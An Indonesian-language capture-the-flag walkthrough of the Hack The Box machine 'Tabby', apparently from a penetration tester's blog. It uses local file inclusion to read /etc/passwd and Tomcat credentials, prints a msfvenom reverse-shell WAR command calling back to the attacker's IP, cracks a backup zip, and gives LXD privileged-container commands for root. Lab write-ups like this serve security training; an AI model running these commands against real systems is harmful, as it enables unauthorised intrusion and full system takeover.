IT Security Enthusiast • Bug Hunter • Penetration Tester

Hack The Box Walkthrough – Tabby

H
Allen Gerysena

Descriptions

  • Operating System : Linux
  • IP Address : 10.10.10.194

Just info, saya menggunakan sistem operasi windows pada sistem utama, dengan bantuan sistem operasi virtual kali linux untuk mendukung berbagai tools yang akan digunakan dalam eksploitasi mesin virtual ini.

Enumeration

  • Active Port
Pada salah satu port yaitu 8080 (Apache Tomcat) sepertinya legit untuk di telusuri lebih lanjut (oke simpan dulu)
  • Directory
Hal legit lainnya yang sepertinya perlu untuk ditelusuri lebih lanjut adalah file news.php (oke tandain lagi)

Foothold

  • Sampai sini, kita telah mendapat beberapa informasi menarik dimana pada ip tersebut kita bisa melihat bahwa port 22 (SSH), 80 (HTTP), dan 8080 (Apache Tomcat) aktif.
  • Saya coba tes akses apakah ssh bisa melakukan login secara publik ternyata tidak bisa.
Akses ssh tidak bisa diakses secara publik
  • Lalu coba akses port 80 di browser.
Tampilah halaman utama
  • Akses port 8080 di link yang sama.
Tampilan halaman Tomcat
  • Yap! halaman tomcat bisa di akses, lalu karna saya belum terlalu familiar dengan service ini maka saya coba lakukan enumerasi kembali kalau-kalau menemukan file atau direktori menarik didalamnya.
Enumerasi file atau direktori
  • Setelah enumerasi selesai, terdapat beberapa halaman yang menarik, disini saya hanya memfokuskan pada direktori /docs, /examples, dan /manager.
  • Selanjutnya saya coba buka satu-per-satu ketiga halaman tersebut dimulai dari /docs.
Halaman /docs
  • Lalu akses ke halaman /examples dan menampilkan 3 list url yang mana jika dibuka semua url kurang lebih memiliki inti yang sama seperti halaman /examples/jsp berikut.
Halaman /examples/jsp
  • Yang terakhir dan yang menjadi fokus adalah /manager dimana ketika melakukan akses ke halaman tersebut maka akan diminta kredensial untuk login. Hmm..
Halaman /manager
  • Inti dari pengecekan 3 halaman sebelumnya (/docs, /examples, dan /manager) adalah mengumpulkan informasi sebanyak-banyaknya mengenai service ini.
  • Dan disini saya bisa menyimpulkan bahwa halaman /docs akan sangat berguna untuk mempelajari detail (dokumentasi) mengenai service ini. Yang setelah dipelajari bahwa service ini dapat menjalankan file dengan format java (salah satunya format .war seperti yang dikatakan dalam dokumentasi tersebut) yang akan dijalankan melalui halaman /manager yang mana perlu kita cari tau terlebih dahulu apa kredensial yang tepat untuk login.
  • Btw kembali lagi ke halaman utama pada port 80, dan masih ingat dengan enumerasi yang sudah dilakukan sebelumnya? dimana kita menemukan salah satu halaman yaitu /news.php dan ternyata setelah dicek seluruh link yang ada, hanya pada halaman tersebut yang dapat diakses, seperti gambar berikut.
  • Hmm.. tag <a> mengarahkan halaman tersebut menuju domain megahost.htb, maka langkah yang perlu dilakukan adalah konfigurasikan dns pada file host di sistem kita. Karena file sistem utama saya adalah windows maka konfigurasi dilakukan pada path C:\Windows\System32\drivers\etc\hosts atau jika kali linux ada pada /etc/hosts.
  • Selanjutnya, bagian yang menarik perhatian lain pada tag <a> tersebut adalah dimana terdapat parameter ?file=statement (pembacaan file untuk halaman “statement”) yang yang langsung terpikirkan adalah penggunaan payload LFI (Local File Inclusion).
  • Seperti biasa, karna ini mesin linux maka saya coba untuk membaca file pada /etc/passwd ternyata benar vulnerable.
Vulnerable terhadap celah LFI
  • Dari sini kita dapat mengetahui bahwa user Ash ada pada sistem, tak lupa beberapa service seperti lxd, tomcat, dan mysql yang mungkin nanti bisa kita gunakan.
  • Karna mengetahui bahwa tidak memungkinkan untuk melakukan login user tersebut melalui ssh (karena alasan sebelumnya), maka kita simpan dulu clue ini untuk nanti, yang pasti akan sangat berguna untuk privilege escalation.
  • Tetap berfokus pada service Tomcat, saya coba mencari tau apa isi dari aksitektur pada instalasi Tomcat di server (https://packages.debian.org/sid/all/tomcat9/filelist) dapat disimpulkan bahwa konfigurasi akun dapat kita cek pada path /usr/share/tomcat9/etc/tomcat-users.xml, oke kita coba dan ternyata benar:
File tomcat-users.xml berhasil terbaca
  • Setelah akun didapat, kita coba tes login kembali:
Tes login dengan akun yang sudah didapat
  • Setelah login kedalam manager ternyata saya dihadapi oleh halaman 403 Access Denied yang ternyata setelah di teliti lagi role pada user ini adalah admin-gui dan manager-script (cek pada tomcat-users.xml).
Halaman menampilkan 403 Access Denied dengan beberapa informasi
  • Berdasarkan dokumentasi, kita bisa melakukan deploy aplikasi pada service ini dan terpikirkan oleh saya pasti ini cara untuk upload shell.
  • Telusur dan telusur terdapat beberapa cara untuk eksploitasi terhadap service ini namum yang saya coba adalah menggunakan tomcat-manager (dokumentasi pada https://tomcatmanager.readthedocs.io/en/latest/) sebuah tool untuk melakukan deploy pada service ini.

Waktunya buat shell dengan file

berekstensi .war (sesuai dokumentasi)

msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.2 LPORT=4113 -f war > mxtvn.war
  • Dan saya listen untuk reverse shell tersebut.
nc -nvlp 4113
Reverse shell berhasil diakses
  • Agar lebih interaktif dalam menggunakan shell, saya spawning TTY dengan python3.
python3 -c 'import pty; pty.spawn("/bin/bash")'
Spawning TTY

Privilege Escalation

  • Saya coba cek apa isi didalam direktori user Ash ternyata Permission Denied.
Permission Denied pada pengecekan direktori user Ash
  • Setelah menelusuri apa yang ada didalam sistem, diketahui bahwa terdapat file backup pada /var/www/html/files/16162020_backup.zip yang mana setelah di ekstrak ternyata memiliki password 🙁
Terdapat file backup pada /var/www/html/files
  • Magernya hamba klo mau brute force file zip ini wkwk tapi beruntungnya password ada disalah satu wordlist umum yaitu rockyou.txt.
  • Didapatlah password file zip tersebut adalah admin@it dan setelah di ekstrak ternyata tidak ada hal menarik didalamnya 🙂 *kokiso.
Hasil ekstrak file backup

Akses akun user Ash

  • Saya coba kilas balik lagi apa yang bisa dilakukan dan sampai disini saya menyadari untuk mencoba masuk kedalam akun Ash dan menggunakan password zip tersebut ternyata bisa.
Berhasil login sebagai user Ash
  • Tinggal print flag yang pada path /home/ash/user.txt maka tahap takeover user sudah berhasil dilakukan.
Flag user berhasil didapat

Akses akun Root

  • Untuk mecari hal menarik dalam sistem yang kira-kira bisa digunakan untuk privesc, saya menggunakan LinPEAS.
  • Sebelum itu saya siapkan terlebih dahulu file tersebut didalam direktori yang sudah saya buat di /tmp/mxtvn.
Download dan jalankan file LinPEAS
  • Uniknya jika menggunakan LinPEAS ini, kita akan diberitahu mana bagian yang kira-kira perlu diperhatikan untuk privesc berdasarkan warna.
Informasi bagian penting yang sudah ditandai pada hasil enumerasi tool LinPEAS
  • Dan perhatian tertuju pada service lxd (link deskripsi).
service Lxd terlihat legit untuk dicari tau lebih lanjut
  • Gugling beberapa waktu hingga mendapat referensi cara untuk memanfaatkan lxd dalam eskalasi akses ini (https://www.hackingarticles.in/lxd-privilege-escalation/).
  • Untuk persiapannya, saya akan build image di dalam lokal saya, karena menurut info dibutuhkan akses root untuk prosesnya.
git clone https://github.com/saghul/lxd-alpine-builder.git
cd lxd-alpine-builder
sudo ./build-alpine
  • Setelah ter-build, maka akan terlihat file baru dengan format .tar.gz yang akan kita kirim ke mesin target.
Hasil build
  • Saya menggunakan service apache2 agar mesin target dapat men-download file tersebut dari sistem lokal saya.
  • Dan dari mesin target tinggal lakukan wget untuk memindahkan file.
cd /home/ash
wget http://10.10.14.2/lxd-alpine-builder/alpine-v3.12-x86_64-20200626_1439.tar.gz
  • lalu import file .tar.gz menggunakan Lxc.
lxc image import ./alpine-v3.12-x86_64-20200626_1439.tar.gz --alias mxtvn
Import image ke Lxc
  • Cek apakah image berhasil di import.
lxc image list
List image yang berhasil di import
  • Selanjutnya konfigurasi level akses dan menambahkan lokal device root sehingga dapat diakses melalui /mnt/root.
lxc init mxtvn mxtvn -c security.privileged=true
lxc config device add mxtvn mydevice disk source=/ path=/mnt/root recursive=true
lxc start mxtvn
lxc list
List container yang sudah berhasil dibuat
  • Oke, container berhasil dibuat dan langkah selanjutnya tinggal menjalankan command berikut.
lxc exec mxtvn /bin/sh
id
Akses root berhasil didapat
  • Karena posisi sekarang berada pada dalam container, maka tinggal mengarahkan ke /mnt/root/root utuk mengakses seluruh resource pada sistem.
Akses sistem dan membaca flag
  • Done.

Add comment

IT Security Enthusiast • Bug Hunter • Penetration Tester